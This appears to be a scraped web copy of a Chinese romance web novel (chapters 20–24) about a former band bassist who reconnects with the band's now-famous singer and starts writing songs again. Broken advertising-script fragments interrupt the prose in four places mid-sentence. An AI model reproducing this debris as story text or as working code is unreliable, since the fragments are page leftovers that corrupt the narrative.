李萤心:“我当时不想做下去的最大原因,是觉得自己没有做原创的能力,尽管大家总是说你做出来的东西自己喜欢就行不要去管别人怎么想,可我毕竟到不了那个境界,我还是想我的作品被人喜欢,想让我的作品也传递一点力量,想让我的作品也成为一种共通的语言,想看见有人在失意难过又或者是开心得轻飘飘的时候,找不到确切的语言表达自己的情绪,那就在朋友圈里分享一首我们的歌。 “想让听到我们歌的人心里泛起一点涟漪,而不是留下一句‘听感平平’。 “一次两次我可以自己哄着自己,再写一首,万一下一首就好起来了呢?可是没有啊,一直没有,我甚至还试着背叛自己的感受,想着我的风格不行的话,那按着受欢迎的人的风格来吧,被石头骂醒之后才反应过来我到底在干吗啊? “我祝别人开心生活享受音乐,小沅也这样祝福我了,但那个时候的我,因为这些外物的磋磨,已经没有办法享受音乐了。 “所以我没有办法做下去了。而且我很自私,又不想当那个先说解散的恶人,所以当你们说了要不不做了的时候,我松一口气,我心想我可以光明正大地放弃了,而且还能表现出自己好像也是出于无奈。实际上我知道,我只是失去勇气了。” 陈悦瞪了李萤心一眼:“别这样说,什么自私不自私的,每个人不都出于自己的立场去做决定吗?” 俞沅住的酒店离李萤心的公寓不到两公里,陈悦早已把车开到公寓楼下,但两人依旧坐在车里,就这么停着。 李萤心接着道:“然后俞沅出道了,唱的全是我们的歌,特别受欢迎。这么久以来,我对这些歌都有些很微妙的感觉,一方面我曾经将它们视作耻辱,毕竟都是些以前怎么演都没人很喜欢的歌,可是突然它们就因为俞沅的走红也跟着走红了,我现在刷个视频,去个饭店,都能听到它们变成BGM,我在朋友圈也真的能看见有人分享这些歌。 “清醒的时候我会想,啊这就是营销和包装的力量,当然也跟俞沅演绎得好有关,或者说这些歌终于找准了受众,从迷信角度来说,也可能这些歌到了该走好运的时候了,反正我能罗列出很多它们现在变得受欢迎的原因。 “不清醒的时候,我会偷偷地想,其实我写的歌编的曲录的乐器都还是有一点可取之处吧,它们受欢迎了,有我一些功劳的吧。看过粉丝在俞沅的超话里面说,俞沅的歌都是这个叫水晶的人写的,他好厉害呀,写的歌都好好听,也很适合俞沅,许愿以后的歌也是他来写。” “那个时候我就已经有一点被哄好了。”李萤心说,“可毕竟……就像你说的,我已经过上了平静的生活,虽然这种生活也很好,可我其实根本就不想过这样的生活。但没有人来打破它,我也不可能看见俞沅好起来了,就去扒着人家说来吧让我来乘你的东风。” 陈悦反驳了他:“不是这样的,他其实……他坚持唱我们以前的歌,全是为了你。” “我知道,”李萤心顿了顿,“应该说,我现在知道了。” 李萤心:“一开始他来找我,哪怕说了什么要我写歌,我也只敢以为这是在开玩笑,但……就还是那句话,这么段时间以来,他做了这么多,我不是瞎子。” “我完完全全 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地被他哄好了,被我放弃过的梦想,他捡起来一直好好珍惜,我非常非常非常感谢他。我也不能那么不识好歹,我不能辜负他。不过就我的现状而言,我只能说我还需要再努力一下才能跟上他。”说着李萤心又笑了,补充了一句,“当然也感谢你。” “我是顺带的是吧,”陈悦摸了摸鼻子,“我确实是顺带的,毕竟我干的也就是传传话找找场地这样毫无建设性的工作。噢对了……” “什么?” 陈悦从口袋里摸出一张叠成小方块的纸,递给李萤心:“俞沅写的词还是什么的吧,让我找机会哄你给他把作曲编曲包了。” “他怎么不自己找我啊?”李萤心接过来,把纸展开,上面还是俞沅手写的字迹,“俞沅亲笔手写歌词,挂闲鱼上卖发大财了。” “神经,”陈悦说,“不直接找你还不是因为你别扭,找你写了一首歌费了老大劲。” “我哪别扭了,我很坦率的呀。”这么说着,李萤心还是有点不好意思,“说起来怎么回事啊,你们以前关系也没有很亲密啊,怎么现在你俩那么好了,他什么事情都找你谋划,什么意思啊?” “我跟他关系哪好了,就那样吧,一般般好。”陈悦本来在翻白眼的,说着又想煽情一番,“因为我们都比较爱你吧。” “真恶心。”李萤心说。 “真的,”陈悦说,“不过我感觉还是他爱一点吧,我们也算竹马竹马了吧,终究我还是比不上俞沅这个天降啊!” 李萤心:“我们算哪门子竹马竹马啊?我们高中才认识的。” 陈悦:“高中时代对于我们这样的老登来说,已经算是小时候了。” 李萤心:“那也是。” 陈悦:“其实也蛮感慨的,第一次见到俞沅,他跟在你身后还蛮羞涩的,明明是个大高个,但连背都不敢挺直,也不怎么和我们说话,什么都只听你的。但是现在已经是个什么都能安排得很好,人见人爱的大明星了啊。” 被陈悦这么一说,李萤心忽然想通了这两天和俞沅相处的违和感从何而来了。 他习惯的确实是以前那个不大爱开口,对整个世界都怯怯的,很依赖他的,他的小沅。但几年过去了,俞沅独自一人在外披荆斩棘,有很多人爱他,为他欢呼,他现在面对世界需要鸭舌帽墨镜口罩全副武装,不然容易被大家汹涌的爱意淹没,他能独当一面,在李萤心不知情的情况下把一切都安排得井井有条。 不再需要李萤心去照顾他,现在反过来了。 不过也没关系,还是那句话,习惯习惯……多相处就好了。 李萤心借着车内不太明亮的光,开始看起了俞沅写的这段歌词。 这首歌居然叫《再见夜这星》。 歌词里有几句是这样写的: 年轻的流星不要惧怕/坠落之后/不是永夜 只因它降临一瞬/点亮有的人一生 21.第二十一章 改完卷子开完成绩分析会,上传成绩之后接连哄好了好几个因为孩子成绩下降而来兴师问罪或是寻医问药的家长,婉拒了几个因为孩子成绩提高而要请李老师吃饭给李老师送礼的家长,找了几个需要重点关注的孩子谈话……这些工作都告一段落后,李萤心总算不用像前几日那样每天往返于学校、公寓和新的排练室。 暑假开始了。 俞沅已在鲤州待了好几天,似乎一天到晚都在排练室,李萤心先前只能晚上来,陈悦也不是每天都能来,他嘴上说自己现在很自由,其实社畜哪有真正的自由,弹性上下班意味着随时待命,一个电话来又要当牛做马。所以大部分时间俞沅是一个人在排练室里待着的。 他讲自己是来此地采风写歌,结果光闷头写了,风是一点也没采。 李萤心终于得了空,提议带俞沅到处逛逛。 主要是这大哥瘾一直想发发不了,从俞沅来鲤州至今,他一点表现的机会都没有。 俞沅很高兴地答应了,说一直等着哥正式放假带我去玩呢。 弟还是要有弟的样子才可爱,就算已经是大明星了又怎么样,还是等着哥哥带他出去玩的小弟啊!李萤心暗自得意。 不过也只是在心里想想,他还是没恢复到以前能和俞沅随意玩闹的水平,换做以前,觉得俞沅可爱时已经顺手捏住对方两边脸颊肉。然而现如今李萤心只敢瞄俞沅一眼。 这几年俞沅长得越来越好看了,跟当了艺人需要进行形象管理有关系,但也的确是又长开了些。以前还有点脸颊肉可以捏,现在只有英气冷峻的侧脸轮廓和下颌线。先前只从各类宣传物料上看到还是一回事,现在扭个头就能看到这样的侧脸,李萤心感受到的冲击更大了些,更不敢对这张脸造什么次。 考虑到这两年鲤州也突然成为热门旅游城市,还正值暑假,游客只会多不会少,天气又热,李萤心还问要不要等天黑了晚点再出去。 俞沅说不用,他要再去一趟天后宫还愿,晚点就不开放了。 陈悦这两天又出差见客户去了,于是只李萤心和俞沅两人去逛。上午先去买了奶茶,然后直接驱车到天后宫附近,这次李萤心执意要自己开车,在旁边的老店喝了四果汤,再去拜妈祖。 不知道是不是来得早,没什么人。 俞沅说是来还愿,李萤心感觉自己好像也无所求,于是决定只拜拜,不掷杯问卦也不求签。李萤心把带来的奶茶恭恭敬敬放在供桌上请妈祖娘娘品尝,他还带了糖果,看到已经有前人往妈祖座下的童子身上挂了可爱的小包包,他就把糖塞到小包包里面。 做完这些,李萤心和等在旁边已经摘下帽子口罩的俞沅一起,跪到蒲团上。 李萤心闭上眼,双手合十,照例在心里先默念希望妈祖娘娘保佑国泰民安风调雨顺家人朋友平安健康事业顺利孩子们学习聪明,于他个人而言确实没什么想求的了,最近一切都好得不得了,他不敢再贪心。 当然妈祖应该不会计较他再多许一个愿,那就希望跪在他旁边这个人得偿所愿吧。 因为心愿很简单,李萤心叩拜完很快就睁开了眼。看向俞沅时对方双目仍闭着,斜斜照进来的日光给他的脸镀上一层柔和的轮廓,他好像有很多心事要诉说,也可能在感激神明实现他的心愿,长久地、虔诚地保持着祈愿的姿态不动,只有睫毛偶尔颤动。 早已和妈祖说完话的李萤心也没从蒲团上起来,也保持着跪姿等待身边人,侧过脸看着他。 就这么一直看着……然后俞沅突然睁眼,察觉到李萤心的目光,下意识地也转过头与之对望。 其实也没什么,但那一瞬间不知为何李萤心有种偷看别人被抓包的尴尬,立刻把视线投向了别处。 俞沅也很快重新看向庄严又慈悲的神像,再伏身三叩首。 两个人起身向外走,走到天井处时俞沅已经重新把帽子口罩都戴好。李萤心经过这几天和俞沅的再相处,已经克服了一部分重建友谊带来的别扭感,虽然仍有一点说不清的不自在,但已不太影响平时的交流,甚至李萤心已经渐渐地重新在俞沅面前变得健谈起来。 李萤心和他闲聊:“你现在拜拜的姿势很标准啊。” 俞沅说:“耳濡目染。” 李萤心说:“耳濡目染?你除了我还有别的闽南朋友吗?读书的时候带你去拜过那么几次,次数也说不上耳濡目染吧。” 俞沅时:“过目不忘。” 李萤心:“你在开成语大会吗?” 俞沅:“……不是。” “这个问题倒不用这么认真回答,”等走得远了,出了天后宫的范围,快走回车子旁时,李萤心接着道,“以前你好像不太信这些。” 俞沅想了想,说:“有了无能为力的事,就会想祈求神明垂怜了。” “啊。”李萤心本来只是随口说,谁知俞沅照样好好接话了,说的话听着还不大轻松。但确实是这样的,他们这片土地上的人世世代代信神明敬命运,不在俞沅说的话的扫射范围内,李萤心却也知道很多其他地方的朋友,哪怕之前多么根正苗红,到了一定年纪之后都不约而同开始沉迷求神问卦和算命。 不能说是什么封建迷信,所得皆所愿的人是不会搞封建迷信的,只有总是求而不得的人才会问问神问问命,到底什么时候才能心愿成真,得到一个期限,不管灵不灵准不准,总归是个盼头。 俞沅又说:“不过我觉得妈祖娘娘对我很好,许的愿望都实现了,或者在实现的路上。” 李萤心边顺着问:“那你许的什么愿?” 俞沅说:“秘密。” 李萤心:“好吧。” 拜完了妈祖,李萤心带着俞沅把车开到关岳庙附近找了个地方停,接下来就是像其他游客一样连着在关岳庙开元寺等参观加拜拜。其实这全副武装真没什么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 用,有些粉丝眼睛利得很,仅凭一点点特征就能判定此人是谁,他们逛的途中屡屡感觉有人用探究的目光在俞沅身上扫射。 去买本地有名的芋头饼时,李萤心就让俞沅找个没人的小巷子待着不要走动等他回来。一个人待着的俞沅也许身上散发着生人勿进的气场,李萤心一边排队一边往俞沅的方向瞟,看见几个女生远远打量俞沅但不敢靠近。 排到他了,他扭头回去跟老板要了三种不同口味的芋头饼,刚扫完码付完钱,那几个不敢和俞沅说话的女生竟然跑来了他身边,大概她们也有点紧张,和李萤心说话那位代表说得有点语无伦次:“那个,不好意思打扰了!你是俞沅的朋友吗?那个是俞沅吗?” “啊?什么芋圆,这不是卖芋头饼的吗,买芋圆的话去糖水铺吧。”李萤心同样已读乱回。 他这么说,那几个女生也不好再说什么。李萤心提着装芋头饼的红色塑料袋,跑到俞沅旁边,对他打手势:“走走走,大明星你好像被认出来了。” 好在这地方弯弯绕绕的小巷挺多的,拐几个弯,再加上还有些在小巷里穿汉服戴簪花拍照的姑娘挡住,很快他们就把那几位粉丝甩不见了。 然后他们在一个没什么人的街边停下来啃芋头饼,两个人分吃三个,吃完站着发呆。 李萤心后知后觉地想到了些什么,“哎呀”一声。 俞沅:“怎么了?” 李萤心:“她们不会蛐蛐你说你对粉丝不亲切吧。” 俞沅:“不会吧,而且那条街人太多了,要是停下来签名合影再被实时发上网,突然来了更多人的话也很麻烦。这是我的私人行程,她们应该能理解。” 李萤心感叹:“你真是有点红啊。” 很巧合的是,他们站立之处身后的一家零食店的音箱里,上一首其他人的歌刚刚放完,新一首的前奏响起,竟是俞沅的歌。 李萤心:“……真的是有点红啊!” 俞沅对此依旧只是“嗯”了一声,然后说:“接下来去哪?” “去看木偶戏吧,”李萤心说,“你要是早两个月来,赶上关帝飞升,晚上我们可以在关岳庙外边看你想看的高甲戏。” - 毕竟俞沅是真的有点红,下午被人认出来后就有些偷拍在网上流传,有本地人问“他还在那儿吗我现在过去能遇到吗”,有人在猜俞沅对鲤州有什么特殊情结,很少有人在那边开演唱会的,他开完演唱会没多久又到了那边玩。 有人对那些偶遇的博主表示嫉妒,有人说俞沅不好好准备新专辑在干吗呢,还有人说私人行程就不要过多关注了吧。 在一个乐迷聚集的豆瓣小组里,同样有人发帖讨论俞沅这天下午的行程,重点却不是在俞沅身上。 楼主截了偶遇图里糊得快成马赛克的李萤心,问:i认人,有没有人来鉴定一下今天跟芋圆一起玩的是不是消失多年的水晶? 22.第二十二章 楼主:如图,我再放一张水晶以前的照片对比一下,大家觉得是同个人吗? 1L:偶遇图好糊……对比图又浓妆艳抹的,这谁看得出来? 2L:水晶是? 3L:聊芋圆符合版规吗?现在这个论坛可以聊主流歌手了? 4L:水晶这个名字蛮熟悉的,好像是他哪首歌的创作者还是制作人来着? 5L:回楼上的,不是他哪首歌的创作者,是他所有歌的创作者。除此之外水晶是很厉害的贝斯手,B站有个播放量蛮高的极速slap就是他弹的。[视频链接] 6L:有啥故事吗? …… 楼主:绝对符合版规的!给楼上不清楚的友友科普一下前情,芋圆在当主流歌手之前是独立乐队夜这星(已散伙版)的主唱,标题提到的水晶是该乐队的贝斯手兼写歌的。 楼主:当年他们活动的时候热度比较一般,属于有一首热单但原唱毫无姓名的那种,所以大家不太清楚也正常……但楼主是他们的死忠,陪他们从籍籍无名走到最后还是籍籍无名…… 楼主:他们是2026年散的,过阵子就是四周年忌日了[蜡烛]。这几年间除了主唱走进主流视野成为风头正盛的歌手外,其他成员似乎都过着普通又平静的生活,吉他手偶尔会发一些日常,鼓手和贝斯手的账号都没再更新过了,几名成员之间更是没有任何公开的互动。 楼主:当时他们解散只是用乐队官号发了一条什么谢谢一直以来的支持,从今天起无限期停止活动啥的……连小作文都不写一篇,不知道解散理由,楼主到处打听也只听说是成员们都想回归生活了。 楼主:楼主也知道做乐队就是这样说散就散,但还是意难平,以前夜这星每次发歌圈内反响都平平,楼主可能有异食癖吧,每次都觉得如听仙乐耳暂明,几乎每一首都让我喜欢得能从早循环播放到晚…… 楼主:扯远了,就是说我知道乐队嘛总是会因为这样那样的理由走散,但因为感觉他们不是大吵一架闹掰的,我一直也期待他们能偶尔友好互动一下……可是没有啊,啥都没有……他们就像互相不认识也不曾出现过在彼此生命中一样,特别是那贝斯手和那主唱……虽说私下的关系也不一定要表演给别人看,但是,唉,我,唉…… …… 21L:啊夜这星,我知道,以前读书的时候在音乐节听过一次他们,一晃这么多年了啊。 23L:楼主不是异食癖啊,我也是从以前就挺喜欢他们的歌,芋圆不也是唱乐队的歌唱火的吗? 24L:他们的歌。。我也有同感,我一直觉得蛮奇怪的,明明是同样的歌,在乐队时期无人问津,过了几年芋圆一个人唱就火了。。 25L:夜这星的歌我以前没听过,芋圆唱火了之后我才听的,如果没做太多改动的话,那我觉得是不是因为歌的风格不太硬所以不太受小圈子欢迎啊? 26L:现在听乐队早已不是以前只听啥硬核金属摇滚的时代了吧,各种风格都有很火的啊,歌不够硬不是理由吧。 28L:很简单啊,芋圆现在是208了,经济公司肯定要大力营销,60分的歌都能营销到120分,再加上在短视频平台生造些热点,人人跟风用这些歌当BGM,那不就火了吗? 32L:一首歌火不火还是很看天时地利人和的,我记得之前也有友友开帖从各个角度分析过,不过没啥人回复那个帖子就沉了,大家感兴趣的话可以看看。[网页链接] …… 47L:跑题了吧!楼主一开始不是让大家来认人的吗? 48L:但是主楼的图实在太糊了真的很难辨认啊hhh 楼主:不好意思,主要是超话里的芋圆粉都还挺有素质的,可能是尊重芋圆朋友作为素人的隐私,哪怕有拍得比较清楚的图也被打码了QAQ 52L:我这里有一张没打码的楼主你看看[图片] 54L:那也还是不太能确定是不是同个人啊,主楼的贝斯手看起来是个亚比,偶遇图里的一身书卷气…… 55L:长得真好看啊不考虑跟芋圆一起当个208吗? 56L:我去,真的很漂亮的五官啊,这种路人抓拍都不崩,两个人站在一起对我的眼睛很好。 57L:楼主你不会是CP粉吧,怎么还特别强调贝斯手和主唱之间没互动了? 58L:哎哟,好像真有故事啊? …… 楼主:啊啊啊啊回57L友友,对不起我该死我确实是CP粉!故事倒也没什么故事,不过我记得一些零零碎碎的事也可以说一下。 楼主:啊我改一下标题吧,免得有不喜欢CP向的友友误入。 楼主:我从头说起吧!夜这星这个乐队一开始是个校园乐队,几个成员都是鹭大的,主唱是最后加入的一个,据说是水晶对主唱要求比较高求了很久才把芋圆求进来的。 楼主:大家都知道一般乐队主唱除了唱歌,在演出的时候通常也负责和观众交流,炒热气氛啥的,但是我们这个主唱是一个超级i人,头几次演出乐队也是想让主唱来负责MC部分,结果他经常尬住。这时候刻板印象里应该毫无存在感的贝斯手就会轻轻松松出来救场,说一些怪话闹得全场观众爆笑。 楼主:这还不止,有一次演出结束后我因为落下东西所以回去拿,工作人员说东西被拿到后台了,领我去了后台,我就刚好看见水晶(比芋圆矮一个头版)努力抬手一直摸芋圆的头像摸狗一样,说什么“没关系的你要是实在不喜欢说串场词那我们以后就都不说了,我可以在每首歌之间多做些衔接的段落”“今天小沅表现得特别好,真的,乖”之类的,说着说着还要把人搂过来继续摸头。 楼主:当然以上无凭无据你们也可以当我是编的……有凭有据的糖也有很多,贝斯手的微博半年可见了所以等芋圆火起来之后也几乎没有沅丝去贝斯手那里考古,就算有考古的也会因为古早时期芋圆的造型比较雷人而没有大规模传播,但是不才我存了一些视频…… 楼主:其实都是些无聊的vlog,比如音域极窄的破音贝斯手教主唱唱歌,是的,我们主唱是不识谱的。贝斯手唱着唱着哈哈大笑,其他乐手也跟着嘲笑他,只有主唱一直用很缱绻的眼神注视着贝斯手。 楼主:更别说其他视频里面只要贝斯手出现就会买一送一出现一个主唱,哪怕两人物理距离比较远,主唱的视线也经常会远远地跟在贝斯手身上。 楼主:他们还爱穿同款……不对不是同款是同一件,有一次吉他手吐槽为什么主唱又在穿贝斯手的衣服,贝斯手乐呵呵地说“突然降温了小沅又没带长袖来学校穿穿我的怎么了”,吉他手翻了个白眼说“他穿你衣服他也不嫌挤,我说带他去买新衣服他还说不要”…… …… 72L:楼主你说的这些感觉好像208那种假糖,什么对视啊同款啊…… 73L:呃地下独立乐队又没有卖腐需求,不站在嗑CP角度看这些举动关系好的朋友也会做,挺正常的。 74L:我赞同楼主,楼主说的都是真的,其实我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当年也嗑过他俩,不过他们当时乐迷本来就不多CP粉就更少了…… …… 楼主:不止这些哇,有一次签售我拿着自己做的结婚证周边给他们签(我脑残我先说,但是我当时是伪装成整活的样子去找的,而且因为乐迷之中没有大规模的CP粉我感觉他们也不知道有人在嗑他们),反正当时水晶就是笑嘻嘻地签了名还问芋圆结婚想要大钻戒还是金戒指,芋圆摇了摇头但还是签了。 你问我为什么不放图……当然是因为后来芋圆问我那张结婚证能不能送他,所以就留给他做纪念了。 …… 83L:所以都是只靠楼主一张嘴在说,根本也没啥实锤? 84L:都嗑CP了真真假假有什么所谓。 85L:只有我的重点是好羡慕老粉吗T T……以前还有签售什么的,还能经常和芋圆交流,livehouse场地前排的话和芋圆也好近……现在抢个山顶票都抢不到! …… 93L:我觉得他们虽然没互动但应该没闹掰吧,芋圆这两张专的歌不都是水晶写的吗?闹掰了怎么还用人家的歌? 95L:不好说,万一只是买了版权呢,而且我的人脉告诉我芋圆二专用的也是乐队以前的存货。 96L:被楼主塞了一嘴糖后感觉散伙会不会没那么简单,众所周知99%的乐队散伙都是因为队内恋爱分手(此数据没有任何依据)(狗头) 99L:[图片][图片]多年老粉来了,不嗑CP纯粹来认一下人,又找了几张水晶以前在现场的高清图,对比一下刚才楼里友友提供的清晰一点的图,虽然以前水晶染发浓妆,但可以看出脸的轮廓五官的分布是一致的,松弛状态下嘴唇的形状也一模一样,而且颊边都有小痣,基本可以判定是同一个人。 100L:牛逼。 103L:我也是老粉,以前最爱水晶了[大哭],真的好想他,本来感觉我喜欢这么冷门的人连哭坟都没处哭,看到这个帖子都觉得好恍惚,如果是他真的太好了。 104L:看到他还和以前的朋友在一起,好像也挺开心的样子,真为他高兴,就不要扒太多无关的了,让他过好自己的生活吧。 105L:芋圆不是说接下来准备新专吗?是不是找水晶写歌去了? 106L:所以水晶还一直在创作吗?我有没有可能dream一个夜这星全员合体复活[祈祷] …… …… 论坛上的高楼持续盖着,被讨论的主角却丝毫不知情。 李萤心和俞沅二人刚从木偶剧院出来,夜幕扣在了城市上方,白天积累的暑气还有一些摇摇晃晃的余温。 李萤心从出来到现在很反常地没有问俞沅好不好看之类的问题,眼神看着也有些涣散,随波逐流地跟着人群往出口走,途中有好几次差点要撞到人还是俞沅扶住了他才免去一些尴尬。 走到剧场边上一块没什么人的地方暂时停下,俞沅终于忍不住问李萤心:“哥你怎么了?不舒服吗?” “你等一下。”李萤心说完把手机掏出来,打开了录音功能。 随后竟然开始对着手机哼了好长一段旋律。 哼完之后好像才反应过来,脸上后知后觉漫上不好意思的红晕,他对着俞沅解释:“就是……突然有点想法,一下出神了……” 俞沅刚才还有些担忧的眉目舒展开来:“那要回排练室吗?” 李萤心看着俞沅带着笑意的双眼,深吸一口气,也弯了弯眼睛:“好啊。” 23.第二十三章 顶着七月的日晒在各景点暴走一日,虽然和俞沅在一块很开心,但到了傍晚时李萤心的灵魂已累得分裂成两半,一半的灵魂在想“这木偶剧非得今天看不可吗好想回去睡大觉,说明天再来看小沅也不会怪我的吧”,另一半想“来都来了,而且万一明天小沅被经纪人突然抓走或者鲤州突然刮台风又或者地球突然爆炸了呢,世界上的一切都有今天没明天的还是先看了吧”,最终后者占了上风。 木偶剧院里的常规剧目就那几个,一般不怎么变,李萤心以前陪其他来旅游的朋友也看过,此次看得意兴阑珊。当地陪就这样,跟不同的人把本地好玩的东西玩到麻木。没想到看着看着,意外被灵感之神吻了一下,从剧院出来,李萤心只感到精神的亢奋,满脑子都是音符在乱飞,肉身的疲倦早已不知所踪。 本来两人还打算去吃点好的,现下就在路边小店随意打包了点东西带回去果腹,草草吃完之后李萤心就坐到排练室新电脑前打开软件搭了个新分轨,忘了一直在保持的周到,连一句“不好意思打乱了我们的游玩计划”之类的话也没跟俞沅说,手摸上编曲键盘就开始写和弦进行。 要是有钢琴会顺手点,他以前有什么想法都是习惯先用钢琴弹一遍,把谱写下来,修修改改再到软件里编,不过如今条件有限,至少俞沅给这个排练室准备了比他公寓里更好的设备,连软件里的音源都很齐全。 李萤心就把自己关在这小隔间里大写特写。俞沅进来过三次,一次给他递了个带吸管的杯子,里面装满温开水,第二次是他看杯子里的水被李萤心无意识地喝得快见底,又去给他续上。 第三次是看李萤心终于伸了个懒腰,转过身来对着外边张望,透过隔间的大玻璃窗可以看见软件界面里代表不同声音密密麻麻又错落有致的小条。俞沅推开门走了进去。 李萤心把监听耳机拔了接上音箱,对俞沅招手:“弟弟过来听一下。” 小隔间的空间较小,只能放下一把旋转座椅,李萤心把它易位给俞沅,按着他让他坐下。 俞沅还没开始听也还没说什么,先听见李萤心“哎呀”了一声。 俞沅问:“怎么了?” 李萤心视线落在电脑屏幕右下角:“怎么就凌晨两点了!”他们回来的时候好像才七八点。 那短暂被遗忘的礼数终于被李萤心记了起来,他皱着一张脸:“太不好意思了真的,我应该让你先回去休息的,害你在这里等那么久。” 结果俞沅说:“我喜欢等。” 李萤心:“……好吧。” 李萤心把工程文件拉到最左边开始播放,两个人静默无声地听完这4分31秒的编曲草稿,听完李萤心问:“什么感觉?” “最直接的感觉是有点荒诞。”俞沅思索一番,说,“前面热热闹闹的好像在参加庙会,后面突然就变哀乐了,加了现代乐器按理不会那么阴森瘆人,结果后面鼓的速度还越来越快,给人一种又窒息精神又不太正常的感觉。” 被评价成精神不太正常,李萤心反而哈哈大笑起来,趴在椅背上情不自禁双手环住了俞沅的脖子,脑袋贴着对方的脑袋。他高兴道:“就是这样!……呃。” 本来还想说什么的,长篇大论来到嘴边又被咽了回去,因为李萤心下意识搂住俞沅之后,迟来的别扭蔓至全身使他变得僵直,可出于一种“以前我们也是这样的,突然弹开反而不自然”的想法,李萤心倔强地没有松开手,维持着与俞沅很亲密的肢体接触。 他又想,对啊,以前我们也是这样的,我未经修饰的本能也让我在高兴时第一时间想要拥住他,那究竟我是在别扭什么?难道是因为这么些天来我的心里始终没让他回到我的亲密朋友这一行列中吗? 俞沅等了一阵没等到李萤心的下文,追问道:“就是什么?” 李萤心琢磨着为了显得自然,抱这么一会儿应该够了,于是屏着呼吸松开了手,终于站直时竟有种如临大赦之感。 李萤心只顾着在意自己的举动会不会怪异,丝毫没有注意到俞沅始终也僵着,在李萤心的脸最贴近他的那一刻,他的喉结不自觉地滚动了下。 李萤心装作无事发生,但说话时音量明显都小了些:“啊就是今天拜了一天的神……有时候感觉人一直在向神明祈愿但不能回馈给神明什么,向神祈愿发大财,但是在功德箱里捐五元,哪有这样的好事。”不过还好,他说着说着渐入佳境,“但有时候又想如果神明真能实现人的心愿,人的行进路径可以被神的意志左右,那人和台上的木偶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又有什么区别?” 俞沅点了点头,状似思索,过了一会儿开口:“你歌里的人,以为自己是木偶,不停上供不停祈求,想让他的操纵者给他他想要的剧情,却不知道到底是操纵者看不上他的上供听不见他的心声,也有可能其实他不是木偶,世间也不一定有神,总之他只靠祈求,什么也没得到,最后疯掉了。” 一种一鼓作气几乎写完整首歌和高山流水的和鸣让李萤心感到久违的快意,这首歌还没歌词,但他不用费劲解释半天用意,只说了个灵感来源,俞沅竟然马上就明白了他想在歌里表达些什么。他已经很久很久没有被这种快意眷顾过了,他一度以为自己早已是枯竭的泉眼,是已然坠亡的流星。 他再次克制了一下自己又想去抱抱俞沅的冲动,只扶着椅背低头看俞沅的发旋:“是这样,是这样。” 俞沅说:“所以想要什么还是得自己争取。” “这么正能量吗?”李萤心又说,“不过我还想去采一个摇签筒的声音的样,我在想第一段主歌节奏部分不用鼓,用竹签的声音来替代不知道可不可行……还有一些庙里才有的环境音……” 俞沅:“可以啊,明天就去录……那今晚先这样?” 时间非常不早了,俞沅因为工种特殊平日里作息就不甚规律倒是自觉没什么,可习惯早睡早起的李老师熬一次夜可能要难受得多,何况一首歌的完善也不能一蹴而就,俞沅提议先送李萤心回去休息。 结果李萤心犹犹豫豫道:“要不你先回去?其实我还有另一首想写的歌……” 俞沅打断了他:“明天再写。” 李萤心说:“我怕明天就忘了。”灵感本就容易稍纵即逝,对于其他人是如此,对于李萤心这样很久没有写出过东西的人来说更像指缝间的流沙,李萤心生怕错过一会儿就再也抓不住。 俞沅其实能懂。 俞沅还坐在这靠椅上,向着侧后方扭过头,抬眼注视着李萤心:“不会忘的。” “因为你的灵感并不是上天看你可怜扔下来要你接住的,”俞沅认真道,“它们本来就是你的东西,只要你想,它们就会从你的记忆、你的生活经验、你的每一次思考里源源不断冒出来供你调遣……所以,不会忘的,别怕。” 24.第二十四章 李萤心被说服了。 只是回到公寓洗漱完歇下后依然睡得不太安稳。人对失而复得之物很难不珍视,如果这些灵感碎片有实体,李萤心恐怕要将它们压在枕头底下每隔几分钟就摸出来看一看亲一亲。 没有实体,但它们会钻进人的梦乡。一整晚李萤心断断续续地做梦,梦到张灯结彩的庙会,九天上流光溢彩的神佛面带慈悲的微笑俯瞰凡尘,庄严的乐音被玄女像散花一样洒落人间,梦中的李萤心不知为何在游神的队伍里,伸手一接,飘渺的乐声变成实质的竹笛。 他没吹过笛子也不会吹笛子,但在梦里他把笛子放到唇边,庙会里的欢声笑语顷刻间都停了,只有竹笛的声音悠悠扬扬,乐音在空气中流动可视化为一条光的道路,李萤心循着这光的轨迹望到尽头,看见俞沅在围观游神的人群里,也伸出手握住了光,随后转过头,隔着千万人和他的目光撞上。 世界不只静了,忽然除了摇摇晃晃的光路连接着的二人之外,其余一切都黯淡了。 然后李萤心被这道光刺醒了,艰难掀开眼皮,好无语,昨晚睡前忘了拉窗帘! 醒都醒了,李萤心坐起来,回了几条消息以后飞速刷牙洗脸,做这些事的过程中脑子里一刻不敢停地哼着梦中的竹笛旋律,就怕忘了,直到坐下来把谱写完才松一口气。 捞过手机一看,堪堪午间,俞沅问他醒了没,想吃什么。 李萤心:醒了,你想吃什么? 因为俞沅的信息发来已经有一会儿了李萤心才回,俞沅问:哥刚醒吗? 李萤心挠了挠头,还是回他:醒一阵了。 然后把记下来的谱拍给俞沅看。 俞沅:回去没睡觉? 李萤心:睡了睡了睡了,就是醒得早。 俞沅:那就好,我来找你。 回信息的间隙刷了刷社交平台,赫然看见有人发了昨天偶遇俞沅的图片。李萤心在心里大叫三声,又问俞沅:昨天被粉丝认出来不要紧吧?要不还是我去找你?免得你过来路上又被偶遇了。 俞沅:不要紧,习惯了。 李萤心想想也是,以前也偶尔会刷到粉丝在哪里哪里偶遇俞沅。 李萤心:会觉得不舒服吗,好像《楚门的世界》一样,到处都是看着你的人。 俞沅:也没那么夸张吧……没有那么红,出门有概率遇到粉丝但也不是100%,而且遇见了也没什么,歌迷大多人都很好。 俞沅:遇见我叫我是为了表达对我的支持,不打扰我也是一种体贴。不管怎样都是因为我和我们的歌被她们爱着。 俞沅:以前我们谈论过这个话题。 李萤心一愣:啊?有吗? 俞沅:我说的话做的事,都是哥教我的。 李萤心想起来了。他没红过,以前除了有表演时在演出场所附近会被乐迷打招呼,在大街上行走只会有人被他夸张的打扮吸引而多看他一眼,没有谁停下来问过他是不是夜这星的贝斯手。 